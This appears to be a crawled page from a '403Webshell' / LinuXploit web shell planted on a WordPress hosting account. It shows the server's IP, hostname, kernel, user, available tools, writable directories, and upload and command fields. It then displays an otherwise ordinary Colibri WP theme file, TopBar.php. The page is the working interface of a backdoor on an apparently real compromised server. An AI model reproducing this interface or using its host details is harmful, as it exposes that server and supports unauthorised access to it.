403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/infrafs/bike/wp-content/themes/colibri-wp/inc/src/Components/Header/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/infrafs/bike/wp-content/themes/colibri-wp/inc/src/Components/Header/TopBar.php
<?php

namespace ColibriWP\Theme\Components\Header;

use ColibriWP\Theme\Core\ComponentBase;
use ColibriWP\Theme\Defaults;
use ColibriWP\Theme\Translations;
use ColibriWP\Theme\View;
use function is_customize_preview;

class TopBar extends ComponentBase {

    protected static $settings_prefix = "header_front_page.navigation.";
    private $attrs = array();

    public function __construct( $attrs = array() ) {
    }

    protected static function getOptions() {
        $prefix  = static::$settings_prefix;
        $section = 'nav_bar';

        return array(
            "settings" => array(

                "{$prefix}props.showTopBar" => array(
                    'default'    => Defaults::get( "{$prefix}props.showTopBar" ),
                    'control'    => array(
                        'label'       => Translations::get( 'show_top_bar' ),
                        'type'        => 'switch',
                        'section'     => $section,
                        'colibri_tab' => 'content',
                        'priority'    => 12
                    ),
                    'css_output' => array(
                        array(
                            'selector'    => static::selectiveRefreshSelector(),
                            'property'    => 'display',
                            'true_value'  => 'block',
                            'false_value' => 'none',
                        ),
                    ),
                ),
            ),
        );
    }

    public static function selectiveRefreshSelector() {
        return "[data-selective-refresh='" . static::selectiveRefreshKey() . "']";
    }

    public function renderContent() {

        $prefix = static::$settings_prefix;

        if ( ! $this->mod( "{$prefix}props.showTopBar" ) ) {
            if ( ! is_customize_preview() ) {

                return;
            }
        }

        if ( is_customize_preview() ) {
            ?>
            <div data-selective-refresh="<?php echo static::selectiveRefreshKey(); ?>">
                <?php $this->makeView(); ?>
            </div>
            <?php
        } else {
            $this->makeView();
        }
    }

    public function makeView() {
        View::partial( 'front-header', 'top-bar', array(
            "component" => $this,
        ) );
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit